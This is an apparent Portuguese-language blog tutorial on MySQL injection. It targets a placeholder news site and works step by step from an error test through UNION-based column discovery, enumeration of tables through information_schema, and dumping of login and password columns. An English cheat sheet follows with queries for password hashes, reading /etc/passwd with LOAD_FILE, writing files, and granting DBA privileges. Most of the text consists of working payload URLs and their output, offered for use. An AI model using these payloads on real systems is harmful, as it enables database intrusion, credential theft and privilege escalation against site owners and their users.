[Tutorial] MySQL Injection

Então , como muitos sabem uma das falhas de programação web mais encontrada na internet é de banco de dados SQL .
O que posso dizer é que para explorar não necessita de um tipo especifico de requisição ( Post ou Get ) .

Portanto vamos ao tutorial :

Antes de mais nada não é necessariamente necessario algum erro de consulta para saber se esta realmente vul , e sim sua interpretação…

Erros de consultas no mysql_error() para possivelmente vuls , por exemplo :
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/renan/public_html/noticias.php on line 211
&
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1

No caso ah erro na consulta , mas não siginifica que em todos sites estaram mostrando .
Muitos dizem que só é possivel explorar caso lhe retorne algum erro , mas nem sempre é necessario…

<?php
$id = $_GET;
$q = "SELECT * FROM informativos WHERE id = '$id'";
$r = mysql_query($q) or die(mysql_error());
?>

#################################################

Vamos a pratica :
Se adicionarmos no final de um string uma simples aspas ela ira modificar a syntax retornando algum daqueles erros acima ou não modificaria a pagina.
Nossa query de consulta com aspas no fim da string de um site seria:
SELECT * FROM informativos WHERE id = '3''

Achando Colunas
Voce pode usar duas formas de achar as colunas , por “order by” ou “union+all+select+” .

No caso de “order by” voce fica procurando até aparecer o erro ” unknown column ‘5′ in ‘order clause’ ” .
Ja no ” union+all+select+ ” voce adicionaria o numero de strings que representa a qtd de colunas daquele query .
Exemplo
Aqui temos um site onde a quantidade de colunas nos retornara umas string na pagina .
http://www.site.com.br/informativos.php?id=3+union+all+select+1 Nada
http://www.site.com.br/informativos.php?id=3+union+all+select+1,2 Nada
http://www.site.com.br/informativos.php?id=3+union+all+select+1,2,3 Nada
http://www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4 Nada
http://www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4,5 strings de ex 2,3 e 4

Mas em outros sites voce com esse mesmo tipo de consulta as colunas o erro seria :
” The used SELECT statements have a different number of columns “

——————————————————————–

Informações do host
version() => versão do MySQL
database() => nome do banco de dados da query
user() ou system_user() => usuario do banco de dados
now() => hora e data atual

Exemplo:
http://www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,version(),5
5.0.54-log

http://www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,database(),5
renan

http://www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,user(),5
renan@10.5.3.31

http://www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,now(),5
2009-08-28 23:19:41

——————————————————————–

Achando Tabelas
Para se achar as colunas acho facil e voce ira compreender meu raciocineo.
Por exemplo voce poderia usar metodo de chute( brute ) de tabelas ou Dumpea-las , mas quando usa-las ?
A nossa resposta é de que versões anteriores do MySQL abaixo de 5.x.y não se pode dumpear então seria por chute , só que versões acima ou ela mesmo voce utiliza o metodo
de achar as colunas por meio de information_schema ( dumpear ) .

concat concatenar = colocar em ordem

group_concat() => busca tudo o que deseja juntamente com caracters em hexadecimal
concat() => busca o que deseja juntamente com caracters em hexadecimal
concat_ws() => une

-> No caso de chute ( brute ) voce utilizaria ” +from+ :
http://www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4,5+from+Renan

Se não houver a tabela de nome “Renan” ira nos retornar o erro ” Table ‘database.renan’ doesn’t exist ”
Se houver nos retornaria a pagina com as mesmas strings de achado as colunas .

-> No caso de Dumpear :
Temos 2 jeitos bem faceis que voce pode escolher.

=====—————————————————-=====

1º Metodo:
Nesse metodo as tabelas estam em hexadecimal.

renan_usuarios 0x72656e616e5f7573756172696f73

Temos então um site onde queremos pegar todas as tabelas .
http://www.site.com.br/informativos.php?id=null+union+all+select+1,2,3,group_concat(table_name),5
+from+information_schema.tables where table_schema=database()--

Retornaria-nos as seguintes tabelas postas na pagina :
adm_area,amado_agenda_fotos,amado_cadastros,amado_fotos,amado_usuarios,site_mp3,site_testemunhe,etc.

Comandos:
group_concat(table_name)
+from+information_schema.tables+where+table_schema=database()--

Agora temos de encontrar as colunas de uma determinada tabela .
http://www.site.com.br/informativos.php?id=null+union+all+select+1,2,3,group_concat(column_name),5
+from+information_schema.columns+where+table_name=0x72656e616e5f7573756172696f73

Retornaria-nos as seguintes colunas postas na pagina de uma tabela :
id,login,senha,email,status

Comandos:
group_concat(column_name)
+from+information_schema.column+where+table_schema=database()--

=====—————————————————-=====

2º Metodo:
Nesse metodo as tabelas estam em decadecimal
Usaremos o limit que funcionara para selecionar as linhas conforme o database
+limit+0,1–
+limit+1,2–
+limit+2,1–
+limit+3,2–
+limit+4,3–
etc…

http://www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,concat(table_name),5
+from+information_schema.tables+limit+0,1--

Retornaria-nos a seguinte tabelas posta na pagina :
CHARACTER_SETS
Para poder achar as tabelas de logins voce alternaria o limit como acima.
Comandos:
concat(table_name)
+from+information_schema.tables+limit+0,1--

renan_usuarios char(114,101,110,97,110,95,117,115,117,97,114,105,111,115)

http://www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,concat(column_name),5
+from+information_schema.columns where table_name=
char(114,101,110,97,110,95,117,115,117,97,114,105,111,115)+limit+0,1--

Retornaria-nos a seguinte coluna posta na pagina de uma tabela :
id
Para poder achar as colunas da tabela voce alternaria o limit como acima.
Comandos:
concat(column_name)
+from+information_schema.columns where table_name=char(tabela_em_decimal)+limit+0,1–

e por fim mostrando os dados de logins
http://www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,
concat(login,0x20,senha),5+from+renan_usuarios

———————————————————-

Hexadecimal :
0x3a -> :
0x20 -> espaço
0x2d -> -
0x2b -> +

Voce pode utilizar ao invez de “+union+” :
/**/union/**/
+and+1=1+union+

http://www.site.com.br/informativos.php?id=3/**/union/**/all/**/select/**/1,2,3,concat(login,0x20,senha),5/**/from+renan_usuarios--

———————————————————-

Tutorial feito por Renan (or _Mlk_)

Referencias :
*Comments : http://dev.mysql.com/doc/
*Control Flows – http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html
*MySQL Gotchas – http://sql-info.de/mysql/gotchas.htm
*Tonu SamuelNew SQL Injection Concept

Acabou,espero que gostaram da enrolação xD …

#################################################

Tabela de Exemplos de Funções para Injeção

Version
SELECT @@version

Comments
SELECT 1; #comment
SELECT /*comment*/1;

Current User
SELECT user();
SELECT system_user();

List Users
SELECT user FROM mysql.user; — priv

List Password Hashes
SELECT host, user, password FROM mysql.user; — priv

List Privileges
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs
SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)
SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns

List DBA Accounts
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;
SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv

Current Database
SELECT database()

List Databases
SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv

List Columns
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

List Tables
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

Find Tables From Column Name
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’

Select Nth Row
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

Select Nth Char
SELECT substr(‘abcd’, 3, 1); # returns c

Bitwise AND
SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0

ASCII Value -> Char
SELECT char(65); # returns A

Char -> ASCII Value
SELECT ascii(‘A’); # returns 65

Casting
SELECT cast(‘1’ AS unsigned integer);
SELECT cast(‘123’ AS char);

String Concatenation
SELECT CONCAT(‘A’,’B’); #returns AB
SELECT CONCAT(‘A’,’B’,’C’); # returns ABC

If Statement
SELECT if(1=1,’foo’,’bar’); — returns ‘foo’

Case Statement
SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A

Avoiding Quotes
SELECT 0x414243; # returns ABC

Time Delay
SELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12

Local File Access
…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system

Create Users
CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv

Delete Users
DROP USER test1; — priv

Make User DBA
GRANT ALL PRIVILEGES ON *.* TO test1@’%’; — priv

Location of DB files
SELECT @@datadir;

Default/System Databases
information_schema (>= mysql 5.0)
mysql

Créditos: c0d3rs

  1. No trackbacks yet.

Deixe uma resposta

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s

%d blogueiros gostam disto: